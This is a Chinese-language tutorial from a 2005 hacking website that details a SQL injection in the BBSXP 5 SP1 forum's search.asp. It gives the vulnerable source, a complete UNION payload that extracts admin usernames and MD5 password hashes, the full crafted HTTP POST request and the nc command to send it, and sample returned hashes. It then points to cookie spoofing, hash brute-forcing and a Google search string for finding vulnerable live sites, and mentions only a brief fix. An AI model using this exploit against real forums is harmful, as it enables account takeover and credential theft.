通行证│用户名: 密码: 验证码: 验证码,看不清楚?请点击刷新验证码 电信网通铁通移动   在线
文章搜索:
热门搜索:红客 黑鹰 红客技术 安全动画 红客培训
首页 文章 软件 动画 资源 励志 论坛 邮箱 会员 军事 科技 博客 爱心红客 最近更新 800g资源
 业内新闻 漏洞公告 病毒公告 电脑知识 网络知识 菜鸟入门 攻防教程 黑客攻防 安全编程 工具使用 综合安全 个人安全 安全相关 Q Q安全 原创精华 红客人物 站内事件
您现在的位置: 爱国者安全网 >> 文章类 >> 红客教程 >> 攻防教程 >> 文章正文
我找到bbsxp5 sp1漏洞的过程总结
责任编辑:admin   更新日期:2005-7-6
 
作者:hx

新版bbsxp注入漏洞再现,可直接得到管理员帐户密码
——我找到bbsxp5 sp1漏洞的过程总结
前期杂志有篇文章是关于BBSXP的,用的是Cookie注入攻击,作者真是思路巧妙,可以想到逻辑漏洞。当时看了文章后,学校有事情就没读代码。暑假闲着无事,所以就把最新版的BBSXP下载下来读了一遍。BBSXP确实短小精悍,文件有少又短,不过比起DVBBS无论从功能上还是界面上还是有点差别,不过从漏洞上比还确实无分上下, 经过了3年的测试,还是多少有点瑕疵。

一.漏洞寻找
论坛对字符串输入用HTMLEncode转换,数字类型的用int函数调整,Isnumeric函数判断。很显然查询中有数字和字符串作为值输入的肯定不能利用了。不能做为值输入可以做为什么输入呢?这就是问题的关键。我把每个文件带着这个思路粗略浏览了一遍,用了很长时间才在search.asp(好象以前就有过漏洞,改了原来的却有了新的)找到了漏洞,一起看看代码。
<!-- #include file="setup.asp" -->
<%
top
if Request.Cookies("username")=empty then error("<li>你还未<a href=login.asp>登录</a>社区")
DetectPost
if Request("menu")="ok" then
search=Request("search")
forumid=Request("forumid")
TimeLimit=Request("TimeLimit")
content=HTMLEncode(Request("content"))
searchxm=HTMLEncode(Request("searchxm"))
searchxm2=HTMLEncode(Request("searchxm2"))
searchxm2=replace(searchxm2,"@","&")
if content=empty then content=Request.Cookies("username")
if isnumeric(""&forumid&"") then forumidor="forumid="&forumid&" and"
if search="author" then
item=""&searchxm&"='"&content&"'"
elseif search="key" then
item=""&searchxm2&" like '%"&content&"%'"
end if
if TimeLimit<>"" then TimeLimitList="and lasttime>"&SqlNowString&"-"&int(TimeLimit)&""
sql="select top "&MaxSearch&" * from forum where deltopic<>1 and "&forumidor&" "&item&" "&TimeLimitList&" order by lasttime Desc  "
rs.Open sql,Conn,1
……


我们仔细研究一下 sql=”select top “&MaxSearch …这句,其中MaxSearch是定义好的,默认值为500,剩下3处是从外面输入的。
1.if isnumeric(""&forumid&"") then forumidor="forumid="&forumid&" and"
只要forumid输入为空,那么forumidor就为空.
2.if TimeLimit<>"" then TimeLimitList="and lasttime>"&SqlNowString&"-"&int(TimeLimit)&""
  TimeLimit是个整数,随便输入(输入个1),那么TimeLimitList变成” and lasttime>now()-1”,在MSSQL中变成” and lasttime>getdate()-1”.
3. if search="author" then
item=""&searchxm&"='"&content&"'"
elseif search="key" then
item=""&searchxm2&" like '%"&content&"%'"
end if
只要search=”author”,content随便输入(输个abcd),那么item= HTMLEncode(searchxm)=’abcd’,只要我们构造好输入,通过上面的语句,就把SQL语句变为:

select top 500 * from forum where deltopic<>1 and [ HTMLEncode(searchxm)]  =’abcd’ and lasttime>now()-1 order by lasttime Desc  
用中括号括起来的部分前后都没单引号,显然可以利用了。

先看看 HTMLEncode函数
function HTMLEncode(fString)
fString=replace(fString,";","&#59;")
fString=server.htmlencode(fString)
fString=replace(fString,"'","&#39;")
fString=replace(fString,"--","&#45;&#45;")
fString=replace(fString,"\","&#92;")
fString=replace(fString,vbCrlf,"<br>")
HTMLEncode=fString
end function
过滤了”; ‘ -- \ vbcrlf”,还有”< > &”等,其实过滤的也算严密了,程序员也挺难的,过滤多了可能影响使用,少了又会出安全问题。过滤了这么多我们该如何利用呢?大家自然想到了猜测,是一个可行的办法,表的结构也都知道了,也很容易猜的。不过我还是用个简单的办法吧。

二.漏洞利用

还是用本人很熟悉的union查询,对ACCESS和MSSQL都有效。构造过程本人就不写了,直接给大家看结果。
select top 500 * from forum where deltopic<>1 and
forumid=0 union all select top 1 1,1,[user].username as topic,forum.use
rname,content,forum.posttime,forum.postip,1,1,1,1,1,1,1,[user].userpass as lastname,lasttime,polltopic,clubconfig.adminpassword as pollresult,1 from [user],forum,clubconfig where [user].membercode=5 or forum.id=0 or clubconfig.adminpassword

=’abcd’ and lasttime>now()-1 order by lasttime Desc  

其中有颜色部分是我们要输入的searchxm的值,中间的每个字符HTMLEncode函数都没有过滤到。至于这个语句的含义,就是让union 前面的语句为假,因为forumid不可能为0,union后面只查询出一条记录,其中包含了管理员的用户名和加密密码,还有社区管理的加密密码,懂SQL语句的朋友一看就明白了。其中数字1没有意义,只是为了匹配字段的类型,保证union前后字段数目和类型一致就行了。这里可以任意构造,有兴趣的朋友可以构造自己的查询,我给出的只是一个参考。
构造好了输入语句,还要构造提交。这时就要想到WSE这个经典之作,如果有人认为对HTTP协议已经熟的可以自己写提交字符串,我也应该劝他省省体力和脑力。
[图1]
[图2]
构造的提交如下:
POST /bbsxp/search.asp?menu=ok HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: http://localhost:8000/bbsxp/search.asp
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; MyIE2)
Host: localhost:8000
Content-Length: 481
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: eremite=0; userpass=E80B5017098950FC58AAD83C8C14978E; username=admin; skins=1; ASPSESSIONIDSSRQSDTB=OGLJMADCECKAFKGCPCCHBKHO; onlinetime=2004%2D8%2D13+20%3A08%3A33; addmin=0

content=fsaf&search=author&searchxm=%20forumid%3D0+union+all+select+top+1+1%2C1%2C%5Buser%5D.username+as+topic%2Cforum.username%2Ccontent%2Cforum.posttime%2Cforum.postip%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C%5Buser%5D.userpass+as+lastname%2Clasttime%2Cpolltopic%2Cclubconfig.adminpassword+as+pollresult%2C1+from+%5Buser%5D%2Cforum%2Cclubconfig+where+%5Buser%5D.membercode%3D5+or+forum.id%3D0+or+clubconfig.adminpassword&searchxm2=topic&TimeLimit=&forumid=&submit1=%BF%AA%CA%BC%CB%D1%CB%F7

其中searchxm部分我自己写了个HTML页面,用WSE截获就可以获得编码了。
这里有个地方需要注意,就是COOKIE中的username和userpass必须是自己真实的。

把上面的代码保存到记事本中用nc提交
nc –vv host port<post.txt >a.txt
post.txt为提交信息,a.txt用来接受返回数据
返回如下信息:


<script>ShowForum("1","abcdef","","昨夜长风","1","1","1","1","21232F297A57A5A743894A0E4A801FC3","1","1","67BA892B516067544ED15DE74B3DD2DD","2004-7-15 18:45:45");</script>


返回信息中类似上面的结构只有一条,其中abcdef为管理员用户名,两个32位长字符串,前者为abcdef的加密密码,后者为社区管理加密的密码,用的都是MD5加密。
到这里我想大家已经知道怎样利用了。可以利用Cookie欺骗进行前台管理,这要用到IECookiesView,具体过程请看相关教程,在此不再赘述。如果大家有时间可以用MD5CrackV2.2.exe暴力破解后台加密的密码,这个工具确实很实用,8位数字密码几分钟(我的机子)就可以破解了,所以10位数字和8为小写字母都可以强破。
想找BBSXP论坛,可以在Google上输入“Powered by BBSxp 5.00”,80%以上网站存在此漏洞
三 .总结
本人由于书写匆忙,文章有些地方可能需要理解,拙劣之处还请大家见凉,不足之处请指出。写此文章只是给大家抛砖引玉,分享一下自己的经验,也提醒大家寻找漏洞时要把握程序的结构和流程,提醒作者写程序时不因细小而忽略。其实漏洞修补很简单,只要searchxm部分不是用用户输入,而是程序设定就没问题了,也没必要改变HTMLEncode函数。
暑假闲着无事,顺便把漏洞利用程序写了出来,免的象上次一样自己发现的漏洞让别人帮忙写程序。希望大家不用利用漏洞做破坏,一切后果自己负责。
  • 上一篇文章:
  • 下一篇文章:
  • 最近更新
    固顶文章 爱国者安全网2007年度优秀版主评选
    普通文章 瑞星公司01月11日发布 每日计算机病毒及木马播报
    普通文章 破解博彩神助(专注彩票) V2.8.01
    推荐文章 推荐:跨站脚本执行漏洞代码的六点思路
    普通文章 Windows系统下的远程堆栈溢出 实战篇
    普通文章 Windows系统下的远程堆栈溢出 原理篇
    普通文章 MsSQLServer是如何加密口令的
    普通文章 浅谈国内的渗透评估过程
    普通文章 Dvbbs8.1 0DAY(通杀Access和mssql版本)
    普通文章 微软:我们的代码比赛门铁克更安全
    热门文章
    普通文章提醒:“求职信”病毒1月6日发作
    普通文章两条“蠕虫”蠢蠢欲动
    普通文章5“网银大盗”狂盗储户14万 武汉男子被判10年
    普通文章“木马事件”终告结束 英语学习网重获新生
    普通文章搜索引擎不再喜欢新米,并非只是CN米
    普通文章蠕虫"威金"新变种 "小熊猫"屠宰多个计算机系统
    普通文章元旦上网谨防“Real蛀虫” 通过视频文件传播
    普通文章入侵工具Knark的分析及防范
    普通文章认清本质 计算机病毒防治常遇问题
    普通文章饶过现代Anti-Rookit工具的内核模块扫描(ZT)
    精彩专题